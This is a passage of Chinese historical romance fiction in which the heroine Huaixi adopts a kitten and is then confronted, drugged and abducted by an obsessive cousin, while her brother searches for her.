今年生辰怀夕倒也没有提出什么过分要求,只是要宋承云陪她去杨铭那里聘一只猫奴回来。 丁心兰走之前,养了两只猫奴,一公一母。带着娇娇金陵时,太匆忙,不便将两只猫都带走,于是只带走了黏人些的那只公猫。 没曾想,他们离开不久,母猫就下了三只小崽。怀夕本也不知道,只是前几日杨铭过来探望哥哥时同她闲聊提到。 这一对也着实叫人唏嘘,丁心兰走时,杨铭当然不是没有挽留。 反而,他一反常态,十分强硬,不肯让她们母女离开。最后,见丁心兰软硬不吃,执意要回,他甚至以留下娇娇相逼,但没曾想惹得丁心兰怒意更盛,连夜叫了马车,赶回苏宁。 杨铭悔不当初,他与表妹本来就什么事都没有,不知妻子为何这般在意,如今几月过去,还坚持要同他和离。 若不是她走后他也将表妹连送走,恐怕岳丈岳母再如何替他周旋也无用。 妻子不在身边,杨铭满心愁苦无人诉说,也只有在见到怀夕这位妻子私交甚好的妹妹时,偷偷泄露一丝情绪,斟酌着语气问她丁心兰的近况。 怀夕与丁心兰书信不断,对她的近况颇是了解,只是有些是姑娘们的私密话,不能对别人说。 譬如,丁心兰在最新的一封书信中说道,她家中有位比她小两岁的表弟,小时候因关系亲近,同吃同住好一段时间,后来表弟去了书院读书,男女有别,两人也渐渐生疏。 没曾想表弟与她哥哥同一批会试,只是没有他们那么出挑,被外放到苏宁下的一个县里当知县。她说,这位小时候跟在她后面流鼻涕的表弟如今出落得十分清俊 鉴于她与杨铭算是熟识,怀夕还是挑了一些不重要的讲,后来见他实在沮丧,咬咬牙,还是给他一个提醒:“你若还想着圆圆姐,何不亲自去找她解释清楚呢?若是晚了,难免有人捷足先登” 杨铭愣了愣,也不知道有没有听懂她的意思。 说完后,怀夕又有些后悔,所以杨铭再问,她便什么都不肯说了。 杨铭在怀夕这里多少也得到妻子的一些消息,离开之前他问怀夕:“我家的玲珑下了三只崽子,听心兰说过,你说过想要养玲珑的小崽?” “对对对,你怎么不早说。”怀夕点头,她可喜欢他们府里那两只猫奴了。 杨铭讷了讷,更加愁上心头。 他如何早说,他的妻子又不在身边,若不是正好来探望她的哥哥 两人在书房外说了好一会话,杨铭听到书房里宋承云咳嗽了一声,忽觉有些失礼。毕竟是外男,哪有拉着人家妹妹说那么久话的道理。于是匆匆说道:“待宋修撰好些,让他携你过来聘猫奴吧。” 其实他直接让人送来也可以,但崽子有三只,他也不知怀夕会喜欢哪只。况且,自家夫人当初是颇庄重地准备了许多物品将玲珑聘回来的。她们女子心思细,免不得有许多他不知道的讲究。 他确实猜对怀夕的心思。 聘小猫可不能草草了事,要挑选个吉日,写好猫契,备好芝麻大枣等聘礼,隆重地去迎它回来。这样小猫才好养些,认了新窝,以后不会离家出走- 怀夕自己忙活着先写了一篇纳猫契书时,只是看来看去又不是特别满意。 最后,见她抓耳挠腮,好不烦恼的样子,宋承云还是提笔替她重写了一篇。 状元郎青词都写得,小小的猫契书自然不在话下,一笔挥就。写完后,怀夕一字一句品读,果然十分满意。 过了两日,便是聘猫的吉日。 虽说宋承云伤口已经恢复得不错,但出发前,怀夕还是让琥珀他们在马车上放了厚厚一层毛褥。 马车上颠簸,她担心摇晃扯到哥哥伤口。 有宋承云在场,不到一刻钟,聘猫仪式就走完了。 其实也不是怀夕挑猫奴,而是几只小猫奴挑主人。 几只小猫刚出生不久,一个紧挨一个窝在母猫身旁睡觉。玲珑看到怀夕,小小声地喵了一声。 怀夕蹲下,伸手过去,玲珑立马就将头蹭了过来,眯着双眼,颇为享受。 可能是玲珑咕噜的声音吵醒了小猫们,大约是见母亲对怀夕很是友善,其中最瘦弱的一只小猫奴睁开眼后,艰难地爬出猫窝,来刁怀夕的衣裙玩。 另外两只对怀夕却是不搭不理的,于是,怀夕便将这只热情的小猫聘了回去。 来回一趟也不过两三刻钟,回到宋宅后,怀夕小心翼翼将小猫奴抱在怀里欲下马车,正好瞥见身侧的灰鼠斗篷,才反映过来自己忘记将斗篷系上。 她想将小猫奴先放下,不料宋承云伸手环了过来。 以为哥哥要搂她,怀夕有些怔愣,脑海里不知怎么立马浮现他言正义辞地斥她不成体统时的怒颜。 但,显然她误会了 哥哥在她三寸远的地方停住,而后身子还略往后退了退,只余双手在下颌处替她系着带子。 原来是要替她穿斗篷,胡思乱想什么。 怀夕不自觉地收了收下颌,将蹭在胸前的小猫奴提开了些。 “走吧。”宋承云系完,又退回座上,淡淡地说道。 “嗯。” 怀夕将斗篷收紧,严丝合缝不让一丝寒风吹到怀里的小猫奴,自己也紧紧将头缩在帽檐里,快步地迈进宅院里。 宋承云从马车上下来,看着怀夕走过垂花门,步入游廊,头也不回地往自己院里走去时,鸦羽往下压了压,神色有些复杂- 回到屋里,怀夕赶紧把小猫奴放到早已备好的暖窝里。 刘婆子今早特意去集市买了一小罐子新挤的羊奶,一早就在炉上煨着。 琥珀从屋外拎了一小壶羊奶进来,倒在暖窝盘的小碗里,小猫奴原本还在扒拉玩着暖窝里的小玩具,闻到香味,便慢慢走过去。 主仆几人围着一圈,新奇地看着小猫奴一口一口舔舐着碗里的羊奶。 但小猫奴刚来到新的地方,喝完后,有些防备地看着周围的人,又躲到窝里去,探头探脑地不敢出来。 看了一会热闹,丫鬟们便散开去做自己的事情了。 怀夕坐回罗汉床上,拿起茶杯抿了口茶时,琥珀又从外面捧回来一个盒子,走上前说道:“姑娘,今早你同公子出门后,三公子来了一趟,让我们转交一个盒子,说是给姑娘的生辰贺礼。” 怀夕有些惊讶,宋承林怎么知道今日是她的生辰。 她把茶杯放下,“拿过来我看看。” 屋内烧着炭,小猫奴大约喜欢温暖,围着炭盆走来走去。 怀夕伸手捻了一块刘婆子今早刚做的小团子,边吃边看琥珀在旁边把盒子打开。 一打开,满满一匣子,怀夕不由道:“这么多?” 翡翠手镯,珊瑚珠串,白玉如意锁,甚至还有九连环和一件彩绘的拨浪鼓 这什么组合?又是贵重的首饰又是孩童常玩的玩具? 怀夕皱了皱眉,不懂宋承林是什么意思。 第44章 第44章宋怀夕,你当真明白我的…… 宋承晖一行人已经在前几日坐船回泸州了,只剩宋承林,说是还有些生意要处理,迟几日再走。 说来也巧,在宋承云受伤那阵子,宋承晖一行人因无事可做,几人逛遍长安街和道柳街,正好逛到于子恒的苏绣铺子。 宋承林在泸州也开了几家绸缎铺子,看这家铺子人来人往,一时兴起走进去看。 他颇有生意头脑,按他几年经商经验,他知道,京城流行的东西,过几年各府州也慢慢会流行起来。 见这家铺子生意好,于是起了意,想趁此机会从这家店买些料子和苏绣样子回去,若卖得好,以后或许能跟这家铺子合作,从这里拿货回泸州。 掌柜的见宋承林相貌堂堂,态度又颇为诚恳,于是将此事回禀了于子恒。 于子恒本也想拓展店里苏绣的销路,一见面一聊倒是不谋而合。 聊完合作后,两人坐在二楼贵宾房饮茶时,于子恒玩笑般地说道:“宋兄的名字,倒是与我一位友人的哥哥相似。” 因刚刚谈妥生意,见于子恒年纪相当,也爽快,宋承林心情颇好,扬了扬眉,笑回道:“于老板说的友人,名字里不会有个夕吧?” 于子恒眼睛陡然睁大,“宋兄也认识怀夕?” 宋承林本也只是玩笑,没想到于子恒真的认识怀夕。惊诧之余,他又觉得不无可能,金陵城中卧虎藏龙,谁又能知道谁的底细呢。 他随后温朗一笑:“怀夕是我的族妹。” “原来如此。”于子恒看宋承林的眼神马上亲近了几分,“怀夕也是我的好友,缘分啊。既如此,宋兄放心,铺子里的绸缎、苏绣样子,你喜欢哪些,尽管拿回去先试卖,若是卖得好,你要多少有多少。” 于子恒本就是个豁达人,知道宋承林是怀夕亲眷后,更是爽快。 宋承林也看好他铺子里的这些衣饰,回绝他的好意,直接订了几百件的量。 于子恒这几年做生意,还真的难得遇见宋承林这般干脆又不拘泥于微毛细利的人,又因他是怀夕的族兄,更对他有些惺惺相惜之感。 于是后续包装,船运等,于子恒都安排得妥妥当当,宋承林便留下来待货赶出来后一同随船离开。 宋承林还未离开金陵这事,怀夕也是从于子恒那里听来的。苏绣铺子常跑腿来送新料子的小厮是于子恒身边得力的,送东西来时被请进来歇脚喝茶,想到这两日他们公子跟泸州来的宋公子相谈甚欢,特意同小艾提起的。 他们怎么做生意,怀夕没有兴趣,听过后并没有多说什么。 又过了几日,于子恒遣人来邀宋承云兄妹到春风楼一聚,说是替宋承林践行。 这邀约来得有些匆忙,却也是因为事出突然,宋承林刚接到泸州的书信,要提前启程回去,临时来向于子恒辞行。 听说宋承林当晚要走,于子恒说什么都要为他践行,又想着怀夕与他们都相熟,便遣人来 下帖子。 是午宴,又是践行,怀夕也不好拒绝。 正好于子恒的小厮过来前,松毫刚回来过一趟,说是今日太子有宴请,公子要夜里才回,叫姑娘不要等。 怀夕心想正好把宋承林上次送过来的匣子还回去,所以还是应了下来。 于子恒做事也算妥帖,不止邀了怀夕,还叫来掌柜一家,因此桌上不至于只有怀夕一位女眷。 整场宴席上,宋承林除怀夕刚到时与之寒暄几句,中途甚少同怀夕交谈。 多是于子恒闲聊问起他们从前在泸州的事时,宋承林才把目光落在怀夕身上,说上几句无关痛痒的话。 虽是午宴,男眷还是喝了一点酒。只是于子恒酒量实在一般,两盏酒一下,便如同打开话匣子。 “原来你们是堂兄妹!”于子恒拍了拍桌面,手劲不大,脸上的表情却有些夸张的讶异,“宋兄,难道怀夕小时候也这般生猛?” 哪有人用生猛形容一个女子,怀夕不满地剜了他一眼,估摸着他是酒劲上了头,便示意他后头的小厮把他酒杯取走。 掌柜的妻子罗夫人正为她的小女儿碗里夹了一片清炒笋干,只是小姑娘看都不看一眼,睁着圆溜溜的大眼睛凑过来看她身旁的怀夕,“姐姐小时候也会打人么?” “” 当然,她从不肯白白吃亏。 但怀夕伸手摸了摸小姑娘白嫩的脸颊,摇了摇头,很是温柔地回道:“怎么可能。” “是挺生猛的。” 两句话一同落下,小姑娘看了看宋承林,又看了看怀夕,一时不知道该相信谁的话。还想说什么,又被罗夫人夹过来的芋头甜糕吸引了过去 怀夕没想到宋承林会理会于子恒的话,朝他瞥了过去。 宋家的后辈长相都颇为英俊,身材高挑,个个都是一表人才。宋承林肖似其母,小时候因比较肥胖,眼睛挤得弯弯小小。如今长开了,鼻高嘴薄,配上一双微微上翘的桃花眼,俊美得有些阴柔。 大约宋承林自己也知道他的长相偏女相,所以平常并不常笑。 此刻难得笑起来,颇有几分风流浪荡之感。 他似乎没看到怀夕瞥过来的眼神,用略带调侃的语气说道:“把我揍得毫无还手之力,你说生不生猛。” 于子恒和掌柜他们一家忍不住笑了起来。 掌柜家的小女儿看着怀夕了然地点了点头,小声嘀咕了一句:“姐姐撒谎。” 怀夕有些尴尬,虽未喝酒,不过颊上还是因为难堪起了两片红云。 见状,宋承林嘴角幅度仿佛更深了些。 于子恒高兴,不顾劝阻又喝了一盏酒,酒醉饭饱后,剩他一人趴在桌上不省人事。 怀夕无奈地叹了口气,好在有掌柜在,急忙找来两个小厮送他回去。 送完于子恒后,怀夕让宋承林稍待,她让小艾回马车里取东西。 宋承林应了下来,示意仆从跟小艾去取。 于是雅间里就只余他们二人。 怀夕站在窗前看底下的凌阳河,才刚入了冬,凌阳河已经结了薄薄一层冰。 不管从前和宋承林有什么恩怨,都是小孩子间的碰撞罢了。如今都已经长大了,既然还有机会见到,怀夕只当他是与宋承晖他们那般,是老家的一位哥哥。 她指了指窗外,主动开口,“这里,每年元宵花灯节就是在这片冰上办的。” 闻言,宋承林走到她身后,往她指的方向看了看,“这里比泸州的元宵还热闹吗?” “可不,焰火长明不绝,彻夜的杂耍表演,还有叫人挑花眼的花灯” 金陵最热闹的一天,当属元宵节了。 想起前几年的场景,怀夕脸上多了几分真心的笑意,她回过头,想说这里的元宵节可比泸州热闹多了。 可一转身,肩膀就撞到宋承林胸怀。 那么近,怀夕没有多想,只以为他想看清下面景色,便缩了缩肩膀,往边上走开几步。 宋承林动作一僵,垂了垂眸,语气遗憾般道:“可惜没有机会看到了。” 他们之间这样心平气和,有来有回地说着话,这么多年,只在宋承林梦里出现过。 她的声音比以前少了几分稚气,清清甜甜的,粉嫩的脸上还未完全褪尽从前的婴儿肥,笑起来时眼角弯成月牙般的弧度,尽显少女娇俏 多么难得的场景啊 怀夕顺口说道:“是啊,可惜你要走了,花灯节还有几个月呢” “可惜么?”宋承林低声喃喃。 是同他一样,觉得不舍么? “也不算可惜吧。”怀夕轻笑了笑,“反正你如今和于子恒做生意,以后总有来金陵的机会。以后你可元宵前后来,可带上嫂子” 不知为何,宋承林脸忽地沉了沉,“什么嫂子。” 这还是宋承林来金陵后第一次让怀夕觉得,他身上有从前的影子。 总是很容易因为一些鸡毛蒜皮,她不理解的事情被激怒 怀夕有些尴尬,突然想起上次宋承亭同她提起家中兄妹时,曾叹着气提起过宋承林,说他近年来不知为何,不肯结亲 见怀夕好似被吓到一样,宋承林有些懊悔,他想说什么,门外小艾敲了敲门。 “进来吧。”怀夕略过他去开门。 门打开,小艾抬腿走了进来,宋承林一眼便看到那个熟悉的匣子。 宋承林额角猛地跳了跳,脸色难以自控地冷了下来。 他不开口,只是直勾勾地盯着怀夕。 怀夕接过小艾手中的匣子后,轻声交待:“你先在门口等我。” 小艾点了点头,又带上门走了出去。 怀夕捧着匣子又走回来,“三哥送的这些礼物太贵重了,我平日也不常佩戴首饰,这些东西在我手上也是埋没了,不如带回去给清初他们” 怀夕的手因捧着匣子,露出一节雪白的手腕,宋承林盯着雪白上的那串沉香手钏,眼眸几乎要喷出火。 “宋怀夕,你什么意思?” 怀夕面色一怔,却不觉得陌生,这才是从前宋承林与她说话的语气,像掺着冰碴子,很是冷硬。 这阵子他沉默少言,彬彬有礼,她还以为他不似以前那般讨厌她 但她不知道他为何突然变脸,说实在的,她也不怎么在意。 若不是于子恒相邀,她又恰好想把东西退回给他,她本不会来。 到底他已经要离开金陵了,怀夕不想多费口舌,只好讪讪说道:“你的心意我收下了但这个匣子,还是请收回吧。” “我的心意?”宋承林忽然冷笑一声。 “宋怀夕,你当真明白我的心意吗?” 第45章 第45章你以为你的好哥哥同我有…… 宋承林往前走了两步,逼近怀夕,“既然你想知道我的心意,那我今日就好好告诉你,我的心意到底是什么。” 他将怀夕捧着的匣子放到桌上,打开,“这个彩绘的拨浪鼓,你不觉得眼熟吗?” 多年来藏在心底的秘密和疯狂,像一座即将喷发的火山,在怀夕疏离冷淡的一句话中崩塌。 宋承林的目光有些游离,仿佛陷入在回忆中,“你离开泸州前几日,我不小心踩坏你的拨浪鼓。后来,我跑遍了全泸州的大街小巷,才找到这个一模一样的。” 他的神情有些狰狞,声音却很轻,生怕对面的人又会重新畏惧他,“如意锁,翡翠手镯,珊瑚珠串你的每一个生辰,我都花尽在想,你会喜欢什么?” 看着宋承林癫狂的模样,怀夕却显得有些云里雾里。 他每年为自己准备生辰贺礼? 为什么? 他们从前简直水火不容。 “可我不敢送啊。”宋承林陷入某种魔怔的情绪,他的眼神带着疯狂的灼热,在看到怀夕手腕上的沉香手钏后,声音陡然变得尖锐,忽地伸手握住怀夕的手腕,“凭什么他可以,我就不可以?” 怀夕被他的动作吓了一跳,用力要抽回自己的手。 可宋承林握得更紧。 他的手指攥紧,指 心发白,从手钏滑到雪白莹滑的肌肤上时,似乎又陡然清醒了两分。 他甚至在上面留恋地游离两下 当然,这样恶心且放荡的动作,换来的是怀夕用尽全力一巴掌。 怀夕紧皱着眉,左手抽脱不出,右手顺势抬起,狠狠甩了他一巴掌。 “够了。”怀夕身体往后仰,试图拉开与他的距离,语气冷得像冰,“宋承林,你疯了?” 是疯了啊。 不然他怎么会来金陵呢。 宋承林的眼神阴鸷而狂热,见怀夕疼得蹙眉,他终于松手放开他。 而后,他将刚刚滑过她手腕的那只指心放到唇上 简直是个疯子。 怀夕眼中毫不掩饰她的厌恶,她已经不想再多停留一会,转身就要走。 宋承林觉得自己的心里仿佛有一团火在燃烧,烧得他几乎失去理智,而怀夕的冷淡、排斥、厌恶,全都为那把火添了柴。 “这样就不敢听了?”看着她厌恶的表情,宋承林如同一条失控的疯狗,“你以为你爱重的宋承云又是什么货色?” 怀夕的手原本已经搭在门框上,听到哥哥的名字,还是背过身来。 宋承林已经失去理智,见她愿意停留,脸上复又扬起那抹温朗的笑容,快步追了过来。 “对不起,对不起,夕儿,我不该说这些话,都是我的错。我只是太喜欢你了。”宋承林胸膛剧烈地起伏着,他尽力想控制好自己的情绪,不想吓到眼前的女子。 他伸手想去拉怀夕的手。 见怀夕后退,他也不恼怒, “同我回泸州好吗?你没有入族谱,不算我的妹妹,这么多年我不娶妻,是因为我想娶的只有你,这次回泸州,我一定求祖母,求父母亲同意。”他又开始沉浸在他的世界里,眼角甚至开始泛红,带着一种疯狂的执着,“不回泸州也好,去哪里都可以,夕儿,你想去哪里都可以。” 怀夕并不理会他的胡言乱语,只是冷冷说道:“不准你侮辱我哥哥。” “哥哥?哥哥!”宋承林的身体因过于激动有些颤抖,“你以为,你的好哥哥,同我有什么不一样?” “我不会看错的。”宋承林靠近怀夕耳边,逐字逐句地,如同恶魔的低语:“宋怀夕,你的好哥哥,宋承云,对你,不是兄妹之情,是男女之情。” 怀夕显然也有些被激怒了,只是还不及反应,就感觉后颈一阵发麻,而后,失去意识- 再醒过来的时候,怀夕不知道自己躺着哪里,手脚都被绑着,嘴上也被塞了一团棉布。 周围一片昏暗,什么都看不清,但耳边能听见马车奔跑的轱辘声,她料想自己是在马车上。 她尝试想坐起来,却发现全身发软。一点力气都使不上。待眼睛慢慢适应黑暗后,怀夕才发现,周围有一道目光正紧紧锁住她。 宋承林的脸完全隐没在黑暗中,他的指尖轻轻敲击着手上的茶杯,不知道已经在黑暗中看了怀夕多久 见怀夕慢慢转醒,他的眉梢轻轻挑起,伸手将她扶坐了起来,又拿掉她嘴上的棉巾,端来桌上另一盏茶喂她。 怀夕无力地靠在马车檐壁上,仅剩的气力将头偏转。 宋承林却仿佛很有耐心一般,还是把杯子轻轻贴近她嘴边。 他喂水的动作还算轻柔,只是怀夕不配合,杯里的水洒了一大半。 见状,宋承林用两指顶住她的下颌,硬是喂了两口水下去。直到怀夕控制不住咳了起来,才将手杯拿开。 “小艾呢?”咳完之后,怀夕更是连说话的力气都没有,说出来的声音软趴趴的。 宋承林随手拿了一块帕子,擦拭着手上因怀夕挣扎而溢出的茶水。 “你还真是看重那个傻丫鬟。”他冷笑一声,“自己都顾不了,还要管别人。” 怀夕呼吸断断续续,很是吃力,眼神却始终死死瞪着他。 宋承林往后倚靠,好整以暇地看着怀夕愤怒的表情,唇角微微上扬。 人已经在他手上了,一想到他们以后永远都能在一起,宋承林心头就忍不住震颤,他很是享受这种隐秘的快感。 “放心,那个蠢丫鬟没事。只要你乖乖听话,过段日子,会让你见到她的。” 怀夕倒没有怀疑宋承林这话,他胆大包天,既然都敢做出绑架她这种事,不至于连这个都要骗自己。 “你要绑我去哪?”怀夕的唇角微微下撇,眼中满是鄙夷与不耐,“你知道我哥哥” “嘘”宋承林弯下腰,伸手盖住怀夕眼睫,他不喜欢她露出这样的神情。 她有那么一双干净得令人心颤的眼眸,就应该永远天真和纯粹。 尤其是对他。 果然,他的动作,比任何语言都更快让怀夕噤声。 “别碰我。”怀夕低斥。 许是觉得怀夕无力挣扎,又或是怕伤了她,怀夕手脚上的绳子绑得并不算很紧,只是怀夕屡次挣扎,所以手上还是勒出一片红痕。 听到怀夕无力的呵斥,宋承林也不恼。 只要她能乖乖呆在他身边,他有的是时间等她回心转意。 看着怀夕憋得红红的眼眶,他还是把手收回,目光往下移,落在她印上红痕的手腕。 好似痛的人是他,他皱了皱眉,“别白费力气了。妹妹,你逃不掉了。” 他点了点她手上的绳子,不知想到什么,神情很是愉悦,“等到了地方,你就知道了。” “”- 黄昏后,金陵忽然下起毛毛小雨。 月色沉沉,宋宅里,翡翠和琥珀站在院门口,急得直跺脚。 他们的姑娘从巳时出门,到现在还未归家,以前可从来没发生过这样的事情。就算偶尔被王夫人留在王府用饭,也一定会遣人回来让她们知道。 原先两个丫鬟想着他们姑娘好些日子没出门,许是午膳后想顺道在街上逛逛。 可过了黄昏,姑娘和小艾还没回来,琥珀开始意识到有些不对劲,忙让前院的小厮小卜去春风楼看看,又交待说若找不到,便去长安街三公子落脚的客栈或道柳街于公子的苏绣铺子问问。 春风楼果然找不到人,小厮就近去了客栈,客栈的小二说宋公子一早就退了房,说今日便坐船回泸州去了。 小卜又跑去苏绣铺子找人,恰巧于子恒和掌柜的都不在。好在铺子里的绣娘正好从二楼下来,同小卜说掌柜家就在不远处,若是着急,可以过去询问。 于是,小卜又找到掌柜家,可也只得知他们一行人午后便分开的消息。 小卜跑了一圈,带回来毫无用处的消息,翡翠和琥珀是彻底着急了。 松毫不在,她们也不知道如何传话给公子,只好找到王太师府去,求见夏敏,想看看她有没有办法给公子传话。 夏敏听完,也是震惊,知道怀夕不是这样不知轻重的人,立马派了府兵和小厮去街上寻找。 但因还不知道是什么情况,找人也不敢声张,毕竟怀夕还是一个未婚配的姑娘家,夏敏还要为她的名声考虑, 今夜太子宴请,她的丈夫王楚修应邀而去,夏敏知道宋承云也在那,立马让身边的马嬷嬷去传话。 但毕竟是太子府,森严戒备,不管你是谁家的家仆,都要经过层层盘问才得以进去。因此,宋承云得知这个消息的时候,已经是亥时了。 好在宋承云官职不高,从席上退下时,并未引起什么关注。 在马嬷嬷嘴里得知消息后,宋承云立马打马回府,回程中让松毫立马去找于子恒来。 “宋承林在哪?” 一到宋宅,还来不及见礼,于子恒便先听到宋承云冷冰冰的声音。 事关怀夕名声,来的路上于子恒问什么,松毫都不敢乱说,所以于子恒只知道他们在找怀夕,其他情况一概不知。 虽不知宋承云为何突然提起宋承林,但畏于他此刻阴沉如乌云的脸色,于子恒还是赶紧回道:“应在回泸州的 船上了。” 酒醒后,他思路还算清晰,“我替他订的船,三公子在我这订了不少货,来今早装上船,我让人去渡口问了,未时那艘船就离岸了” “你亲眼看他登了船?”宋承云的声音冷硬。 “并未。”于子恒讪讪说道:“午膳有些忘形,有些喝醉过去” 几番问话之后,于子恒反应过来,宋修撰是怀疑怀夕的失踪与宋承林有关。 先不管他之前对宋承林印象有多佳,他眼珠子转了转,“那艘运货的船是我在熟识的船行定的,船夫和搬货的人也是船行的,我马上叫人去船行问一下。” 第46章 第46章你很快就会是我的了 宋承云酒力不算极好,好在今晚是在太子的酒宴上,倒没有人敢做出劝酒灌酒这种失礼的事情,只是他多多少少还是喝了几杯。此刻,他的皮肤不似往前冷白,眼角处因酒意洇出一片淡淡的红。 大约是酒意放大了人的情绪,他一向沉静的神情难得能看出有些焦躁。清冷化作叫人心惧的阴翳。 “已经着人去了。” 于子恒说的这些,宋承云已经都了解到了,找他来,是想得到更有效的消息。 于子恒有些惊讶于宋承云的反应速度,不禁抬眼看他。 因着怀夕的缘故,于子恒多少见过几次宋承云,他从前惊叹于他的才华和他皑皑如霜雪的清冷气质,可如今那股清冷化为幽暗的冷硬,他的眸光深黑,于子恒无端觉得心惊。 “把你们今日从见面到分开所有的事情,都讲一遍。”虽心急,但宋承云语气还是很冷静。 “好。”于子恒深吸一口气,试图让自己平静一些,仔细回忆说着今日的每一个细节 待于子恒讲述完,宋承云垂下眼睑,面上仍无甚表情。 于子恒咽了咽口水,在宋承云发话前,一动也不敢动。 “公子,去船行打听的人回来了。”松毫的声音打破死寂般的沉默。 “带进来。” 回来的小厮带着船行的伙计走进来,那船行伙计以为卷入了什么祸事,一进门就立马趴跪下来,将今日的见闻一五一十地交待。 那伙计仔细回忆着,“装完货后,确实有一位男子搀着一位姑娘一起上了船。” 因那姑娘走路时姿势有些奇怪,好像得了重病一般,脚步虚软,他才多看了几眼。 “不过那姑娘带着帷幔,我也没有看清面容” “看清那男子面容了吗?”宋承云问。 “看清了,那男子大约十七八岁,嘴角边有一颗黑痣。” 黑痣? 不是宋承林。 宋承云手指无意识地在桌上轻点,不知道想到什么,又吩咐松毫:“立刻备马,我要再去一趟太子府。” 要想不掀风波安静地在金陵找到一个人,只有太子能做到。 果然,再从太子那里回来不久,今日客栈及周遭发生的所有事,这几日全城车马行所有车马的使用记录,都一并送到宋承云手上。 宋承云根据这些口述和记录,抽丝剥茧地从里面找到一些信息,很快,他从多处看似无关紧要的记录中理出一些蛛丝马迹。 车马行给的记录上,宋承林昨日只租了一辆马车,而那辆马车在今日已经归还。 但,在另一份呈给太子的密折中,宋承林昨日曾随意叫住客栈门外走街串巷卖东西的小贩,给了他一串银钱,让他替自己跑腿,去车马行替他多租用了一辆马车。 宋承云心里隐隐有了猜测,或许已经上了商船的那女子不是怀夕 不过他还是不敢掉以轻心,水路上依旧派了人去追,也在各站停靠岸点安排好了人去查实。 而关于那辆新租用的马车,也借用太子的人马去追踪,只是宋承林狡猾,路上不停使用障眼法,换了好几次马车,等人真正定位到,已经是三日后了- 罗湖位于洛水之南,与金陵不过九百里,属于南北地交界。 宋承林原本不想在此地停留,依他原先的想法,再往南跑上两日就到田朔。 那里离泸州还有段距离,不过也不算太远,且田朔天气会温朗些,不似北地那么天寒地冻。 可不巧,怀夕在半路发起了烧。 这姑娘果然如少时一般,决心和他对着干,倔得很,一路不肯吃喝,又被他下了软骨的药,浑浑噩噩的,也不知道怎地,路上突然犯起了喘,明明天气寒冻,却硬生生出了好一阵汗。 马车上物资不全,宋承林只好替她盖上厚厚的被褥,可没想到,一热一寒便发起烧了。 无奈,宋承林只好就近在罗湖停下,带怀夕问诊后,大夫说不准她的气喘,只开药说是先让她退烧要紧,又叮嘱近日最好不要过于劳累。 宋承林原本有些犹豫,可看怀夕脸庞苍白如纸,终是不忍。再加上他觉得自己的安排天衣无缝,最后他决定在罗湖停留几日,等怀夕稍好转一些再赶路。 于是他在城郊临时租下一座小宅子,又找了一两个仆人侍候怀夕。 被灌了两碗药,隔了一夜,怀夕的烧总算褪了下来,不过还有些反复不定。 因怀夕烧得不省人事,宋承林不敢也觉得不必再给她用软骨散,为免旁人多疑,也未再绑着她。 没有软骨散,烧也退了些,翌日一早,怀夕从睡梦中醒来。 几日的浑浑噩噩,马车日夜不停地奔跑,漫长的黑暗虽然醒来时头脑清醒了些,但怀夕也拿不准现在距离她被宋承林拐走已经过了几日。 她试图动了动手指,不似前几日那般疲弱,勉强能蓄些力。 屋内有些阴暗,炭火却有些旺,烧得脸上燥燥的热。 在她打量周围的时候,耳边听到门嘎吱一声。 怀夕摸不清现在的情况,下意识闭上了眼。 门外,一个看着有十二三岁的小丫鬟捧着药碗走了进来。 她先把碗放到桌上,才走到床边,对着怀夕轻轻唤了声:“娘子,吃药了。” 小丫鬟昨日才被买来,年纪小,眼神里还存着天真。见他们的公子长得一表人才,又对昏迷的小娘子颇是体贴,以为自己找了个心善的主家。 陌生的声音,不是宋承林。 怀夕不敢掉以轻心,遂慢慢睁开眼,装作刚醒的模样。 “娘子终于醒了。”小丫鬟看到怀夕苏醒,很是惊喜,“公子吩咐,若娘子醒了要立马告诉他,娘子稍等,奴婢到门口唤小艺过来” “等会。”怀夕虽还没搞清楚眼前的状况,可也知道她嘴里的公子大概是宋承林。 她急忙制止她,“不着急,我头还晕着,你先扶我起来” 小丫鬟未多想,诶了一声,就来扶她。 怀夕借着小丫鬟的力,撑着床沿,终于靠坐起来。 “这是哪里?” “娘子,这里是” 嘎吱一声,门又被推开。 小丫鬟转头去看后,立马从床沿退开,低垂着眉眼喊道,“公子。” “下去吧。”来人淡淡应道。 小丫鬟应是。 门又掩上后,宋承林从桌上端起药碗,在怀夕愤愤的目光中一步一步走近,落坐在床沿。 黑乎乎的药汤,难闻的药味。 宋承林用手测了测碗沿,觉得温度妥帖,舀起一勺凑到怀夕嘴边。 “宋承林,你到底想怎样?”怀夕皱着眉,双眸瞪圆,不掩嫌恶地看他。 宋承林似有些无奈,轻轻哼笑,将药凑得更近些,“妹妹,先喝药,听话。” “” 怀夕觉得有些恶心,控制不住,轻轻颤了下,鸡皮疙瘩起了一身。 宋承林却以为她畏冷,把碗放下,将她的被子拉高了些,收回手时不经意碰到怀夕放在一旁的手指。 怀夕猛然收回,下意识地抓紧衣服。 宋承林盯着她抓着领口的动作,呵笑了一声,“挡什么,你这身衣服,你以为是谁换的。” 怀夕垂眸,才注意到身上的衣服的确换过 “宋承林,你个肮脏小人。”怀夕气得有些发抖,咬着后槽牙,用自己最大的力气,扇了宋承林一巴掌。 巴掌落在宋承林身上,力度犹如挠痒,可怀夕却已经直喘不止 ,因气喘和生气眼眸泛着点点湿意。 怀夕的气喘大夫诊不出缘由,宋承林见她这两日也没再发作,本稍稍放下心。但眼下见怀夕一激动,又有点气喘的趋势,怕她又出什么差错,于是赶紧解释道:“逗你的,是刚刚那丫鬟帮你换的。” 宋承林小时候与怀夕斗了几年,多少也知道怎么拿捏怀夕。 “你不信就算了。反正我都背了恶名。”他看着怀夕,一字一字地说道:“既然我是肮脏小人,下次,我,一,定,亲,自,帮,你,换。” “无耻。”怀夕拿他没办法,只能恨恨地骂道。 宋承林仿佛从她的愤怒中得到逗她的乐趣,神情颇是愉悦,又去端那碗黑乎乎的药。 “喝了,否则,我一定” 不等他说完,怀夕抢过那碗药,一口喝下。 只是喝得急,咽下后便是控制不住地咳嗽。 宋承林见状,伸手想替她顺顺背。 可怀夕如惊弓之鸟,看他抬手,整个人都往里缩。 见怀夕如此戒备,宋承林也有些不悦。 “此地不宜久留,既你已经醒了,那午后便启程吧。” 怀夕不知道这里是何处,但她知道她没回府,哥哥一定会来找她。 拖延些时间总是有好处的。 于是她稍稍坐直了些,“不能明日吗?我头还晕着,马车颠簸,” 宋承林见她语气稍稍放软了些,抬眸看她。 小姑娘白衣覆身,一头垂落的黑丝衬得小脸愈发莹白,脸颊因长久的发烧还有些晕红,苍白的唇瓣被她刚刚生气咬出几个殷红的血印。 她说着示软的话,可那双清澈剔透的瞳眸里仍是满满的倔强。 连演戏都不会演。 